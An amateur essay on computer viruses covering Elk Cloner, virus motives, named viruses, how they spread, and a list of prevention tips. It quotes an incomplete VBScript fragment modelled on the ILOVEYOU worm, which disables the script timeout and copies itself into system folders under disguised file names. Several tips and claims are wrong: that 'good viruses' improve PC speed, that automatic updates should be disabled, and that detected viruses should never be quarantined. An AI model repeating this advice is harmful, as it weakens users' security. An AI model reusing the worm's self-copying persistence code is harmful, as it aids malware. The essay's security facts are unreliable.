WORLD OF SOFTWARES

A Program automatically shuts down or an unwanted message appears like ‘I LOVE YOU’ ‘HAPPY BIRTHDAY TO YOU’ or suddenly your computer becomes slow. YES, these are the symptoms that either your computer is being infected by viruses or it is totally infected and needs a window replacement. Virus is a computer program that can copy itself and infect a computer without command or knowledge of the user. Viruses were first termed with a program called ‘ELK CLONER’. It attached itself to the Apple Dos 3.3 operating system and spread through floppy disks. The virus was actually a joke created by the high school student and put onto a game. The disk could only be used 49 times. The game was set to play, but released the virus on 50th time of starting the game. The virus was released with the poem as :-
“IT WILL GET ON ALL YOUR DISKS,
IT WILL INFILTRATE YOUR CHIPS.
YES! IT’S CLONER
IT WILL STICK TO YOU LIKE GLUE,
IT WILL MODIFY RAM TOO!
SEND IN THE CLONER”.
And the virus started infecting the operating system.

Viruses are designed by those persons, who know computer programming and are really expert in their fields. It is designed in the form of VB, DOS or JAVA SCRIPT. One such example is––
“sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()”

Now, the question arises ‘Why do they design such viruses’? You will get its answer ‘Why does a human being kill other human being’? ‘Why do wars take place’? It’s all because of human greed and jealousy, which are the parts of human nature. The aim behind designing the viruses could be destroying the softwares or operating systems, or it could be just for fun. The objectives are endless but the destruction has an end, it ends with your operating system.
The destruction by viruses depend upon the programming by a mind. The most destructive virus today is CIH or also known as CHERNOBYL or SPACEFILLER which is written by Chin Ing Hau of Taiwan. It overwrites critical information or infected system drivers and more importantly corrupting the BIOS. Other harmful viruses are –
Ø A and A
Ø ACID
Ø ACME
Ø I LOVE YOU
Ø HELLO
Ø JOSHI
Ø HACKER

You would be thinking, why I have written harmful viruses. All viruses are harmful as they destroy our PC. But it is not so, some viruses are really good as they increase our PC speed or improve the working of our software. But as good persons are less in number, good viruses are also very rare we can hardly discover the working of 1 or 2 such viruses.


SPREADING OF VIRUSES
Viruses spread mostly through Internet but if don’t have internet, don’t think, you are safe. Viruses also spread through any Removable Media.
After connecting any RM having a virus, there may be an immediate response by your Antivirus or the computer may hang down or there may be an appearance of any irrelevant message.


PROTECTION AGAINST VIRUSES

Today Antiviruses like---NORTON, AVG, MCAFEE, ANTIVIR and AVAST provide a shield against viruses. But viruses through internet are sometimes unstoppable and they go on spreading. Using computer in a right way may defend our PC to a great extent. Some preventive measures that should be taken are---

ü While surfing on internet use Internet Explorer or Mozilla Firefox as an explorer. Third party explorer may not filter the search results.
ü Don’t try to access unknown websites. Accessing it may infect your computer through POP- UPS.
ü Never leak your email account password as someone may hack your computer.
ü If you see any unknown mail in junk mail or inbox having any suspicious attachment, don’t try to open or run that file.
ü Floppy drives are one of the most infecting media so, after inserting floppy into floppy drive, run a virus scan and enquire whether there is virus or not.
ü Run a complete virus scan once in a week.
ü Don’t use any third party antivirus, try to use only the below trusted antiviruses
NORTON
MCAFEE
AVG PROFESSIONAL
ANTIVIR
AVAST
ü Never reboot your computer with floppy in floppy drive.
ü If you find a virus, simply delete it never send it to quarantine (Virus Safe).
ü Never install any software downloaded from unknown website, also enable Firewall Protection.
ü Disable automatic updates, any unwanted program may be downloaded that may decrease your PC speed.



VIRUSES TODAY

Today viruses are interfering with most of the softwares and operating systems. Most of the companies are trying their best to develop more better more efficient antivirus and on the other hand, virus writers are day by day programming more destructive viruses. Hence, we conclude that it is a ‘FIGHT OF MINDS’.